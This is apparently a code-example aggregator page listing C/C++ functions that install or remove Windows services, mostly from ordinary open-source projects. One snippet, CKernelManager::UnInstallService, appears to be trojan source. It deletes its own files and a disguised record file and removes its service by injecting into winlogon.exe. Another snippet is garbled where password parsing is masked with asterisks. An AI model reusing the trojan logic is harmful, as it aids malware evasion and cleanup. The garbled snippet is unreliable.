void ServiceLocator::RemoveAllServices()
 {
     RemoveService(s_DebugUI);
     RemoveService(s_LoadingUI);
     RemoveService(s_SceneManager);
     RemoveService(s_FontManager);
     RemoveService(s_AudioManager);
     RemoveService(s_InputManager);
     RemoveService(s_Graphics);
     RemoveService(s_TextureManager);
     RemoveService(s_ShaderManager);
     RemoveService(s_ShapeCache);
 }
Exemplo n.º 2
0
void CKernelManager::UnInstallService()
{
	char	strServiceDll[MAX_PATH];
	char	strRandomFile[MAX_PATH];

	GetSystemDirectory(strServiceDll, sizeof(strServiceDll));
	lstrcat(strServiceDll, "\\");
	lstrcat(strServiceDll, m_strServiceName);
	lstrcat(strServiceDll, "ex.dll");

	// 装文件随机改名,重启时删除
	wsprintf(strRandomFile, "%d.bak", GetTickCount());
	MoveFile(strServiceDll, strRandomFile);
	MoveFileEx(strRandomFile, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);

	// 删除离线记录文件

	char	strRecordFile[MAX_PATH];
	GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
	lstrcat(strRecordFile, "\\syslog.dat");
	DeleteFile(strRecordFile);
	
	if (m_dwServiceType != 0x120)  // owner的远程删除,不能自己停止自己删除,远程线程删除
	{
		InjectRemoveService("winlogon.exe", m_strServiceName);
	}
	else // shared进程的服务,可以删除自己
	{
		RemoveService(m_strServiceName);
	}
	// 所有操作完成后,通知主线程可以退出
	CreateEvent(NULL, true, false, m_strKillEvent);
}
Exemplo n.º 3
0
BOOL
CServiceInstaller::
RemoveService(
	LPCTSTR lpServiceName)
{
	return RemoveService(NULL, lpServiceName);
}
Exemplo n.º 4
0
//--------------------------------------------------------------------------------
BOOL CNTService::ProcessCommandLine(LPCTSTR pCmdLine)
	{
	AFX_MANAGE_STATE_IF_DLL

	CCmdLine cmdLine(pCmdLine);
	int nIndex;
	if(cmdLine.HasParam('D', nIndex) || cmdLine.HasParam(_T("-debug"), nIndex))
		return FALSE;

	if(cmdLine.HasParam('I', nIndex) || cmdLine.HasParam(_T("-install"), nIndex))
		{
		InstallService();
		return TRUE;
		}

	if(cmdLine.HasParam('R', nIndex) || cmdLine.HasParam(_T("-remove"), nIndex))
		{
		RemoveService();
		return TRUE;
		}

	if(cmdLine.HasParam('E', nIndex) || cmdLine.HasParam(_T("-end"), nIndex) || cmdLine.HasParam(_T("-stop"), nIndex))
		{
		EndService();
		return TRUE;
		}

	if(cmdLine.HasParam('S', nIndex) || cmdLine.HasParam(_T("-start"), nIndex))
		{
		StartupService();
		return TRUE;
		}

	return FALSE;
	}
Exemplo n.º 5
0
int main( int argc, char **argv) {
  int x_argc;
  char **x_argv;
  Options options[] = {{"i","install",0,0,0},
		       {"r","remove",0,0,0},
		       {"p","port",1,0,0},
		       {0,0,0,0,0}};
  ParseStdArgs(argc, argv, &x_argc, &x_argv);
  ParseCommand(x_argc,x_argv,options,1,&extra_argc,&extra_argv);
  if (options[2].present && options[2].value)
    SetPortname(options[2].value);
  else if (GetPortname() == 0)
    SetPortname("mdsip");
  if (options[0].present) {
	InstallService();
	exit(0);
  } else if (options[1].present) {
	RemoveService();
	exit(0);
  } else {
      SERVICE_TABLE_ENTRY srvcTable[] = {{ServiceName(1),(LPSERVICE_MAIN_FUNCTION)ServiceMain},{NULL,NULL}};
      WSADATA wsaData;
      WORD wVersionRequested;
      wVersionRequested = MAKEWORD(1,1);
      WSAStartup(wVersionRequested,&wsaData);
      StartServiceCtrlDispatcher(srvcTable);
  }
  return 1;
}
Exemplo n.º 6
0
int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
	if( _tcslen(lpCmdLine) > 0 ){
		if( lpCmdLine[0] == '-' || lpCmdLine[0] == '/' ){
			if( _tcsicmp( _T("install"), lpCmdLine+1 ) == 0 ){
				WCHAR strExePath[512] = L"";
				GetModuleFileName(NULL, strExePath, 512);
				if( InstallService(strExePath, SERVICE_NAME,SERVICE_NAME) == FALSE ){
					printf("インストールに失敗しました。Vista以降の場合は管理者権限が必要です。");
				}
				return 0;
			}else if( _tcsicmp( _T("remove"), lpCmdLine+1 ) == 0 ){
				if( RemoveService(SERVICE_NAME) == FALSE ){
					printf("アンインストールに失敗しました。Vista以降の場合は管理者権限が必要です。");
				}
				return 0;
			}
		}
	}


	if( IsInstallService(SERVICE_NAME) == FALSE ){
		//普通にexeとして起動を行う
		g_hMutex = _CreateMutex(TRUE, EPG_TIMER_BON_SRV_MUTEX);
		int err = GetLastError();
		if( g_hMutex != NULL ){
			if( err != ERROR_ALREADY_EXISTS ) {
				//起動
				StartMain(FALSE);
			}
			::ReleaseMutex(g_hMutex);
			::CloseHandle(g_hMutex);
		}
	}else{
		//サービスとしてインストール済み
		if( IsStopService(SERVICE_NAME) == FALSE ){
			g_hMutex = _CreateMutex(TRUE, EPG_TIMER_BON_SRV_MUTEX);
			int err = GetLastError();
			if( g_hMutex != NULL && err != ERROR_ALREADY_EXISTS ) {
				//起動
				SERVICE_TABLE_ENTRY dispatchTable[] = {
					{ SERVICE_NAME, (LPSERVICE_MAIN_FUNCTION)service_main},
					{ NULL, NULL}
				};
				if( StartServiceCtrlDispatcher(dispatchTable) == FALSE ){
					OutputDebugString(_T("StartServiceCtrlDispatcher failed"));
				}
			}
		}else{
			//Stop状態なので起動する
			StartServiceCtrl(SERVICE_NAME);
		}
	}

	return 0;
}
Exemplo n.º 7
0
static void InstallService() {
  SC_HANDLE hSCManager;
  int status;
  RemoveService();
  hSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE);
  if (hSCManager) {
    SC_HANDLE hService;
    char *pgm;
    char *cmd;
    static const char* multi_opt="--multi";
    static const char* server_opt="--server";
    static const char* data_opt="";
    char *opts = GetMulti() ? (GetContextSwitching() ? "--multi" : "--server") : "";
    SERVICE_DESCRIPTION sd;
    LPTSTR description=(LPTSTR)malloc(4096);
    if (GetMulti()) {
      if (GetContextSwitching()) {
	opts=multi_opt;
	wsprintf(description,TEXT("MDSplus data service listening on port %s.\nPermits multiple connections each with own tdi and tree context\n"),
		 GetPortname());
      } else {
	opts=server_opt;
	wsprintf(description,TEXT("MDSplus data service listening on port %s.\nPermits multiple connections with shared tdi and tree context\n"),
		 GetPortname());
      }
    } else {
      opts=data_opt;
      wsprintf(description,TEXT("MDSplus data service listening on port %s.\nEach connections will spawn a private server.\n"),
	       GetPortname());
    }
    sd.lpDescription=description;
    _get_pgmptr(&pgm);
    cmd = (char *)malloc(strlen(pgm)+strlen(GetPortname())+strlen(GetHostfile())+100);
    sprintf(cmd,"%s --port=%s --hostfile=\"%s\" %s",pgm,GetPortname(),GetHostfile(),opts);
    hService = CreateService(hSCManager, ServiceName(1), ServiceName(0), SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
			     SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, cmd, NULL, NULL, NULL, NULL, NULL);
    if (hService == NULL)
      status = GetLastError();
	else {
      ChangeServiceConfig2(hService,SERVICE_CONFIG_DESCRIPTION,&sd);
	  if (GetMulti()) {
		SERVICE_FAILURE_ACTIONS sfa;
		SC_ACTION actions[] = {{SC_ACTION_RESTART,5000}};
		sfa.dwResetPeriod = INFINITE;
		sfa.lpRebootMsg = NULL;
		sfa.lpCommand = NULL;
		sfa.cActions = 1;
		sfa.lpsaActions=actions;
		status = ChangeServiceConfig2(hService,SERVICE_CONFIG_FAILURE_ACTIONS, &sfa);
		status = GetLastError();
	  }
	}
    free(description);
    free(cmd);
    if (hService)
      CloseServiceHandle(hService);
    CloseServiceHandle(hSCManager);
  }
}
bool vzsdk::VzTcpDeviceManage::CloseService(int session_id) {
    CritScope crit_scope(&crit_section_);
    if (!ExistService(session_id))
        return false;

    GetService(session_id)->Stop();
    RemoveService(session_id);
    return true;
}
 void ServiceLocator::AddService(GameService** aServiceToSet, GameService* aServiceRef, bool aResponsibleForDeletion)
 {
     //Remove the previous service, if there is one
     RemoveService(*aServiceToSet);
     
     //Set the service reference and the deletion flag
     *aServiceToSet = aServiceRef;
     (*aServiceToSet)->SetServiceLocatorResponsibleForDeletion(aResponsibleForDeletion);
 }
Exemplo n.º 10
0
/*================================================================*/
void handle_args( int argc, char *argv[] )
{
	int	i;

	bHavePort = 0;
	for ( i = 1; i < argc; i++ )
	{
		switch (argv[i][0] )
		{
			case '-':
			case '/':
				switch ( argv[i][1] )
				{
					case 'r':
					case 'R':
						report = 1;
						break;

#ifdef WIN32
					case 'i':
					case 'I':
						/* install NT Service */
						InstallService();
						break;

					case 'u':
					case 'U':
						/* uninstall NT Service */
						RemoveService();
						break;
#endif

					default:
						printf("Unknown option./n");
						usage( argv[0] );
						break;
				}
				break;
			default:
				if(is_num(argv[i]))
				{
					PORTNUM = (unsigned short)atoi(argv[i]);
					bHavePort = 1;
				}
				else
				{
				printf("Unknown option\n");
				usage( argv[0] );
				}
		}
	}	

}
Exemplo n.º 11
0
otError Local::AddService(uint32_t       aEnterpriseNumber,
                          const uint8_t *aServiceData,
                          uint8_t        aServiceDataLength,
                          bool           aServerStable,
                          const uint8_t *aServerData,
                          uint8_t        aServerDataLength)
{
    otError     error = OT_ERROR_NONE;
    ServiceTlv *serviceTlv;
    ServerTlv * serverTlv;
    size_t      serviceTlvLength =
        (sizeof(ServiceTlv) - sizeof(NetworkDataTlv)) + aServiceDataLength + sizeof(uint8_t) /*mServiceDataLength*/ +
        ServiceTlv::GetEnterpriseNumberFieldLength(aEnterpriseNumber) + aServerDataLength + sizeof(ServerTlv);

    RemoveService(aEnterpriseNumber, aServiceData, aServiceDataLength);

    VerifyOrExit(mLength + sizeof(NetworkDataTlv) + serviceTlvLength <= sizeof(mTlvs), error = OT_ERROR_NO_BUFS);

    serviceTlv = reinterpret_cast<ServiceTlv *>(mTlvs + mLength);
    Insert(reinterpret_cast<uint8_t *>(serviceTlv), static_cast<uint8_t>(serviceTlvLength) + sizeof(NetworkDataTlv));

    serviceTlv->Init();
    serviceTlv->SetEnterpriseNumber(aEnterpriseNumber);
    serviceTlv->SetServiceID(0);
    serviceTlv->SetServiceData(aServiceData, aServiceDataLength);
    serviceTlv->SetLength(static_cast<uint8_t>(serviceTlvLength));

    serverTlv = static_cast<ServerTlv *>(serviceTlv->GetSubTlvs());
    serverTlv->Init();

    // According to Thread spec 1.1.1, section 5.18.6 Service TLV:
    // "The Stable flag is set if any of the included sub-TLVs have their Stable flag set."
    // The meaning also seems to be 'if and only if'.
    if (aServerStable)
    {
        serviceTlv->SetStable();
        serverTlv->SetStable();
    }

    serverTlv->SetServer16(Get<Mle::MleRouter>().GetRloc16());
    serverTlv->SetServerData(aServerData, aServerDataLength);

    ClearResubmitDelayTimer();

    otDumpDebgNetData("add service done", mTlvs, mLength);

exit:
    return error;
}
Exemplo n.º 12
0
int service_main(int (*main_fn)(int, char **), int argc, char **argv,
                  char *service_name,
                  int install_flag, int run_as_service)
{
    SERVICE_TABLE_ENTRY dispatchTable[] =
    {
        { service_name, service_main_fn },
        { NULL, NULL }
    };

    globdat.name = service_name;

    if(install_flag > 0)
    {
        InstallService();
        return(0);
    }
    else if(install_flag < 0)
    {
        RemoveService();
        return(0);
    }
    else
    {
        globdat.main_fn = main_fn;
        globdat.stop_event = create_event(0, 0, "apache-signal");
     
        if(run_as_service)
        {
            globdat.connected = 1;
            if(!StartServiceCtrlDispatcher(dispatchTable))
            {
                return((*main_fn)(argc, argv));
            }
            else
            {
                return(globdat.exit_status);
            }
        }
        else
        {
            globdat.connected = 0;
            return((*main_fn)(argc, argv));
        }
    }

}
Exemplo n.º 13
0
void
process_args (DSParams * param)
{
	char *value;

	if (ds_hash_getNumericValue_n (&param->hsh, 'h')) {
		displayHelp ();
		exit (EXIT_SUCCESS);
	}
	if ((value = ds_hash_getPtrValue_n (&param->hsh, 'p'))) {
		pid_filename = strdup(value);
	}

	if ((value = ds_hash_getPtrValue_n (&param->hsh, 'c'))) {
		config_filename =
			(char *)
			malloc (strlen ((char *) ds_hash_getPtrValue_n (&param->hsh, 'c'))
					+ 1);
		strcpy (config_filename,
				(char *) ds_hash_getPtrValue_n (&param->hsh, 'c'));
	} else {
		config_filename = NULL;
	}
#ifndef WITH_DEBUG
#ifndef _WIN32_
	if (!ds_hash_getNumericValue_n (&param->hsh, 'x'))
		runAsDaemon = TRUE;
#endif
#endif
#ifdef _WIN32_
	if (ds_hash_getNumericValue_n (&param->hsh, 'i')) {
		InstallService ("Antinat");
		exit (EXIT_SUCCESS);
	}
	if (ds_hash_getNumericValue_n (&param->hsh, 'r')) {
		RemoveService ("Antinat");
		exit (EXIT_SUCCESS);
	}
	if (ds_hash_getNumericValue_n (&param->hsh, 'a')) {
		runAsApplication = TRUE;
	}
#endif
}
Exemplo n.º 14
0
int Init (const char * driverPath) {
	BOOL ret = FALSE;
	if (InitDriver () == FALSE) {
		if (strlen (driverPath)) {
			StartStopService ("r2k",TRUE);
			RemoveService ("r2k");
			eprintf ("Installing driver: %s\n", driverPath);
			if (InstallService (driverPath, "r2k", "r2k")) {
				StartStopService ("r2k",FALSE);
				ret = InitDriver ();
			}
		} else {
			eprintf ("Error initalizating driver, try r2k://pathtodriver\nEx: radare2.exe r2k://c:\\r2k.sys");
		}
	} else {
		eprintf ("Driver present [OK]\n");
		ret = TRUE;
	}
	return ret;
}
Exemplo n.º 15
0
int _tmain(const int argc, TCHAR* argv[]) {
	if (argc > 1) {
		if (wcscmp(argv[1], _T("install_service")) == 0) {
			InstallService();
			return EXIT_SUCCESS;
		}

		if (wcscmp(argv[1], _T("remove_service")) == 0) {
			RemoveService();
			return EXIT_SUCCESS;
		}
	}

	if (StartServiceCtrlDispatcher(ServiceTableEntry) == FALSE) {
		OutputDebugString(_T("Service start failed, falling back to normal launch."));
		SVCWorkerThread();
		return GetLastError();
	}

	return EXIT_SUCCESS;
}
Exemplo n.º 16
0
HRESULT CServiceModule::UnregisterServer()
{
	// Enter the COM MTA
	TCCoInit init(COINIT_MULTITHREADED);
	if (init.Failed())
		return init;

	// Initialize the ATL module
	HRESULT hr = _Module.Init(g.hInst); // init COM and/or NT service stuff
	ZSucceeded(hr);

	// Create the component category manager
	CComPtr<ICatRegister> spCatReg;
	hr = CoCreateInstance(CLSID_StdComponentCategoriesMgr, NULL, CLSCTX_ALL,
		IID_ICatRegister, (void**)&spCatReg);
	ZSucceeded(hr);

	if (SUCCEEDED(hr))
	{
		// Unregister our component category
		CATID catid = CATID_AllegianceAdmin;
		spCatReg->UnRegisterCategories(1, &catid);
		spCatReg = NULL;
	}

	// Remove service entries
	UpdateRegistryFromResource(IDR_AllSrv, FALSE);
	// uninstall service
	if (IsInServiceControlManager())
	{
		RemoveService();
	}
	// Remove object entries
	CComModule::UnregisterServer(TRUE);

	// Terminate the ATL module
	_Module.Term();
	return hr;
}
Exemplo n.º 17
0
int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hinstExePrev, 
   LPSTR pszCmdLine, int nCmdShow) {


	// ***** To debug this application  ****
	// set fDebug to 1, then recompile (in debug mode)
	// and run the program in a debugger like any windows .exe
	// The exact same code executes as if the user clicked the 
	// 'start' button in the NT services manager.
	int fDebug = 0;


   int nArgc = __argc;
#ifdef UNICODE
   LPCTSTR *ppArgv = (LPCTSTR*) CommandLineToArgvW(GetCommandLine(), &nArgc);
#else
   LPCTSTR *ppArgv = (LPCTSTR*) __argv;
#endif

   BOOL fStartService = (nArgc < 2);
   int i;

   int bInstall = 0;
   int bRemove  = 0;
   int bChange  = 0;
   GString  strPort("10888");

   GString strBoot;
   GString strRoot("NotUsed");
   for (i = 1; i < nArgc; i++) 
   {
      if ((ppArgv[i][0] == __TEXT('-')) || (ppArgv[i][0] == __TEXT('/'))) 
	  {
         // Command line switch
         if (lstrcmpi(&ppArgv[i][1], __TEXT("install")) == 0) 
            bInstall = 1;

         if (lstrcmpi(&ppArgv[i][1], __TEXT("remove"))  == 0)
            bRemove = 1;

         if (lstrcmpi(&ppArgv[i][1], __TEXT("change"))  == 0)
            bChange = 1;
		 

         GString strTemp(&ppArgv[i][1],strlen("desc:"));
		 if (strTemp.CompareNoCase("desc:") == 0)
		 {
            strServerDescription = &ppArgv[i][1+strlen("desc:")];
		 }

         GString strTemp2(&ppArgv[i][1],strlen("name:"));
		 if (strTemp2.CompareNoCase("name:") == 0)
		 {
            strServerName = &ppArgv[i][1+strlen("name:")];
		 }

         GString strTemp3(&ppArgv[i][1],strlen("pass:"******"pass:"******"pass:"******"boot:"));
		 if (strTemp4.CompareNoCase("boot:") == 0)
		 {
            strBoot = &ppArgv[i][1+strlen("boot:")];
		 }

         GString strTemp5(&ppArgv[i][1],strlen("port:"));
		 if (strTemp5.CompareNoCase("port:") == 0)
		 {
            strPort = &ppArgv[i][1+strlen("port:")];
		 }

         GString strTemp6(&ppArgv[i][1],strlen("root:"));
		 if (strTemp6.CompareNoCase("root:") == 0)
		 {
            strRoot = &ppArgv[i][1+strlen("root:")];
		 }
      }
   }

	if (bChange)
	{
		ModifyStartupFile(strBoot,strServerPassword,strRoot,strPort);
	}

	if (bInstall)
	{
		GString strThisEXEName(GetThisEXEName());


		// uuencode strBoot 
		BUFFER b;
		BufferInit(&b);
		uuencode((unsigned char *)(const char *)strBoot, (int)strBoot.Length(), &b);
		GString strEncodedBoot((char *)b.pBuf, b.cLen);
		BufferTerminate(&b);

		// open the registry, save the coded boot key, close the registry
		HKEY hk;
		if (RegCreateKey(HKEY_CLASSES_ROOT,(const char *)strThisEXEName,&hk) == ERROR_SUCCESS)
		{
			RegSetValue(hk,NULL,REG_SZ,(const char *)strEncodedBoot,0);
			RegCloseKey(hk);
		}

		// use root of file system to store the startup file 
		// unless specified otherwise by environment setting
		GString strOutFile("c:\\");
		strOutFile += strThisEXEName;
		if (getenv(strThisEXEName))
		{
			strOutFile += getenv(strThisEXEName);
		}
		
		
		// create the startup file
		GString strTempFile;
		strTempFile << strServerPassword << "&&" << strRoot << "&&" << strPort;
		strTempFile.ToFile("tempfile");
		GString strErrorOut;
		FileEncrypt(strBoot, "tempfile", strOutFile, strErrorOut);
		unlink("tempfile");


		InstallService();
	}
	if (bRemove)
	{
		RemoveService();

		GString strThisEXEName(GetThisEXEName());

		// remove the registry entry
		RegDeleteKey(HKEY_CLASSES_ROOT,(const char *)strThisEXEName);

		// remove the startup file
		GString strOutFile("c:\\");
		strOutFile += strThisEXEName;
		if (getenv(strThisEXEName))
		{
			strOutFile += getenv(strThisEXEName);
		}
		unlink(strOutFile);

	}

   strcpy(pzServer,strServerName);


   if (fDebug) 
   {
      // Running as EXE not as service, just run the service for debugging
	  TimeServiceMain(0, NULL);
   }

   if (fStartService) {
      SERVICE_TABLE_ENTRY ServiceTable[] = {
         { pzServer, TimeServiceMain },
         { NULL,        NULL }   // End of list
      };
      StartServiceCtrlDispatcher(ServiceTable);
   }

   return(0);
}
Exemplo n.º 18
0
RpcServer::~RpcServer() { RemoveService(); }
Exemplo n.º 19
0
void InstallService() {
	wchar_t szPath[MAX_PATH];
	if (GetModuleFileName(nullptr, szPath, ARRAYSIZE(szPath)) == 0) {
		wprintf(L"GetModuleFileName err 0x%08lx\n", GetLastError());
		return;
	}

	const auto svcManager = OpenSCManager(nullptr, nullptr, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
	if (svcManager == nullptr) {
		wprintf(L"OpenSCManager err 0x%08lx\n", GetLastError());
		return;
	}

	const auto svc = CreateService(
		svcManager,
		SVC_NAME,
		_T("RETC Service"),
		SERVICE_CHANGE_CONFIG | SERVICE_START,
		SERVICE_WIN32_OWN_PROCESS,
		SERVICE_AUTO_START,
		SERVICE_ERROR_NORMAL,
		szPath,
		nullptr,
		nullptr,
		nullptr,
		nullptr,
		nullptr
	);

	if (svc == nullptr) {
		CloseServiceHandle(svcManager);

		const auto lastErrorCode = GetLastError();
		if (lastErrorCode == ERROR_SERVICE_EXISTS) {
			RemoveService();
			InstallService();
			return;
		}

		wprintf(L"CreateService err 0x%08lx\n", GetLastError());
		return;
	}

	wprintf(L"Installed %s service.\n", SVC_NAME);

	SERVICE_FAILURE_ACTIONS servFailActions;
	SC_ACTION failActions[3];
	failActions[0].Type = SC_ACTION_RESTART;
	failActions[0].Delay = 2000;
	failActions[1].Type = SC_ACTION_RESTART;
	failActions[1].Delay = 2000;
	failActions[2].Type = SC_ACTION_RESTART;
	failActions[2].Delay = 2000;

	servFailActions.dwResetPeriod = 60 * 60 * 24;
	servFailActions.lpCommand = nullptr;
	servFailActions.lpRebootMsg = nullptr;
	servFailActions.cActions = 3;
	servFailActions.lpsaActions = failActions;

	ChangeServiceConfig2(svc, SERVICE_CONFIG_FAILURE_ACTIONS, &servFailActions);

	SERVICE_DESCRIPTION description = {
		SVC_DESC
	};

	ChangeServiceConfig2(svc, SERVICE_CONFIG_DESCRIPTION, &description);

	// Start service
	StartService(svc, 0, nullptr);

	CloseServiceHandle(svcManager);
	CloseServiceHandle(svc);
}
Exemplo n.º 20
0
HRESULT CServiceModule::RegisterServer(BOOL bReRegister, BOOL bRegTypeLib, BOOL bService, int argc, char * argv[])
{
	// Enter the COM MTA
	TCCoInit init(COINIT_MULTITHREADED);
	if (init.Failed())
		return init;

	// Initialize the ATL module
	HRESULT hr = _Module.Init(g.hInst); // init COM and/or NT service stuff
	ZSucceeded(hr);

	if (IsWin9x())
		bService = false; // Windows 9x doesn't support services

	  // Remove any previous service since it may point to
	  // the incorrect file
	if (IsInServiceControlManager() && !bReRegister)
		RemoveService();

	// Add service entries
	_Module.UpdateRegistryFromResource(IDR_AllSrv, true,
		_AGCModule.GetRegMapEntries());

#ifdef MONOLITHIC_DPLAY
	// Register custom dplay bits
	RegisterMonolithicDPlay();
#endif

	// Create the component category manager
	CComPtr<ICatRegister> spCatReg;
	hr = CoCreateInstance(CLSID_StdComponentCategoriesMgr, NULL, CLSCTX_ALL,
		IID_ICatRegister, (void**)&spCatReg);
	ZSucceeded(hr);

	if (SUCCEEDED(hr))
	{
		// Determine the LCID for US English
		const LANGID langid = MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US);
		const LCID lcid = MAKELCID(langid, SORT_DEFAULT);

		// Register the component category
		CATEGORYINFO catinfo;
		catinfo.catid = CATID_AllegianceAdmin;
		catinfo.lcid = lcid;
		wcscpy(catinfo.szDescription, L"Allegiance Admin Objects");
		hr = spCatReg->RegisterCategories(1, &catinfo);
		ZSucceeded(hr);

		// Explicitly release the smart pointer
		spCatReg = NULL;
	}

	if (!bReRegister)
	{
		// Adjust the AppID for Local Server or Service
		CRegKey keyAppID;

		DWORD lRes = keyAppID.Open(HKEY_CLASSES_ROOT, _T("AppID"), KEY_WRITE);
		if (lRes != ERROR_SUCCESS)
			return lRes;

		CRegKey key;
		lRes = key.Open(keyAppID, _T("{E4E8767E-DFDB-11d2-8B46-00C04F681633}"), KEY_WRITE);
		if (lRes != ERROR_SUCCESS)
			return lRes;

		key.DeleteValue(_T("LocalService"));

		if (bService)
		{
			// mdvalley: I hate my ATL libraries sometimes (SetStringValue)
			key.SetValue(_T(__MODULE__), _T("LocalService"));
			key.SetValue(_T("-Service"), _T("ServiceParameters"));
			// Create service
			InstallService(argc, argv);
		}
	}

	// Add object entries
	hr = _Module.CComModule::RegisterServer(bRegTypeLib);

	// Terminate the ATL module
	_Module.Term();
	return hr;
}
Exemplo n.º 21
0
// SERVICE INSTALL ROUTINE
int
vncService::ReinstallService() {
	RemoveService(1);
	InstallService(0);
	return 0;
}
Exemplo n.º 22
0
DWORD WINAPI DoUninstall(LPVOID lpParam)
{
  InstData *idata;
  HANDLE fin;
  HWND delstat;
  bstr *str;
  char *startmenu, *desktop, *installdir;

  installdir = GetInstallDir(product);

  if (!SetCurrentDirectory(installdir)) {
    str = bstr_new();
    bstr_assign(str, "Could not access install directory ");
    bstr_append(str, installdir);
    DisplayError(str->text, TRUE, TRUE);
    /* Pointless to try to free the bstr, since DisplayError ends the
     * process */
  }

  fin = CreateFile("install.log", GENERIC_READ, 0, NULL,
                   OPEN_EXISTING, 0, NULL);

  if (fin) {
    idata = ReadOldInstData(fin, product, installdir);
    CloseHandle(fin);
    DeleteFile("install.log");

    RemoveService(idata->service);

    delstat = GetDlgItem(mainDlg, ST_DELSTAT);
    DeleteFileList(idata->instfiles, delstat, NULL);
    DeleteFileList(idata->extrafiles, delstat, NULL);

    startmenu = GetStartMenuDir(idata->flags & IF_ALLUSERS, idata);
    desktop = GetDesktopDir();
    DeleteLinkList(startmenu, idata->startmenu, delstat);
    DeleteLinkList(desktop, idata->desktop, delstat);

    RemoveUninstall(startmenu, product, TRUE);

    SetCurrentDirectory(desktop);       /* Just make sure we're not in the 
                                         * install directory any more */

    str = bstr_new();
    if (!RemoveWholeDirectory(installdir)) {
      bstr_assign(str, "Could not remove install directory:\n");
      bstr_append(str, installdir);
      bstr_append(str, "\nYou may wish to manually remove it later.");
      DisplayError(str->text, FALSE, FALSE);
    }

    if (!RemoveWholeDirectory(startmenu)) {
      bstr_assign(str, "Could not remove Start Menu directory:\n");
      bstr_append(str, startmenu);
      bstr_append(str, "\nYou may wish to manually remove it later.");
      DisplayError(str->text, FALSE, FALSE);
    }

    bstr_assign(str, UninstallKey);
    bstr_appendpath(str, product);
    RegDeleteKey(HKEY_LOCAL_MACHINE, str->text);
    bstr_free(str, TRUE);

    bfree(startmenu);
    bfree(desktop);
    FreeInstData(idata, TRUE);
  } else {
    bfree(product);
    bfree(installdir);          /* Normally FreeInstData frees these */
    str = bstr_new();
    bstr_assign(str, "Could not read install.log from ");
    bstr_append(str, installdir);
    DisplayError(str->text, TRUE, TRUE);
    /* Pointless to try to free the bstr, since DisplayError ends the
     * process */
  }
  ShowWindow(GetDlgItem(mainDlg, ST_DELDONE), SW_SHOW);
  EnableWindow(GetDlgItem(mainDlg, BT_DELOK), TRUE);
  SetFocus(GetDlgItem(mainDlg, BT_DELOK));
  return 0;
}
Exemplo n.º 23
0
int APIENTRY WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, 
    LPSTR lpCmdLine, int nCmdShow)
{
    SERVICE_TABLE_ENTRY ServiceTable[] = 
    {
        {   ss_name, ServiceMain }, 
        {   NULL, NULL }    /* end of list */
    };
    int rc = 0;
    const char *name, *desc;

    memset(ctx, 0, sizeof(context_t));

    /* parse command line parameters (and set ctx vars). NOTE: this work only 
       if launched by command line, for services see ServiceMain */
    dbg_err_if(parse_opt(__argc, __argv));

    if(ctx->serv_op)
    {
        /* load config and initialize */
        dbg_err_if(app_init());

        /* set up service name and description reading from the config file */
        name = u_config_get_subkey_value(ctx->config, "daemon.name");
        if(name)
            u_strlcpy(ss_name, name, sizeof ss_name);

        desc = u_config_get_subkey_value(ctx->config, "daemon.description");
        if(desc)
            u_strlcpy(ss_desc, desc, sizeof ss_desc);

        if(ctx->serv_op == SERV_INSTALL)
            dbg_err_if(InstallService());
        else    
            dbg_err_if(RemoveService());
    } else if(ctx->daemon) {
        u_dbg("Starting in service mode...");
        /* StartServiceCtrlDispatcher does not return until the service 
           has stopped running...  */
        if(!StartServiceCtrlDispatcher(ServiceTable))
            warn_strerror(GetLastError());
    } else {
        /* load config and initialize */
        dbg_err_if(app_init());

        rc = app_run();
    }

    dbg_err_if(app_term());

    /* if debugging then call exit(3) because it's needed to gprof to dump 
       its stats file (gmon.out) */
    if(ctx->debug)
        return rc;

    /* don't use return because exit(3) will be called and we don't want
       FILE* buffers to be automatically flushed (klog_file_t will write same 
       lines more times, once by the parent process and N times by any child
       created when FILE buffer was not empty) */
    _exit(rc); 
err:
    app_term();

    if(ctx->debug) 
        return rc;
    _exit(EXIT_FAILURE);
}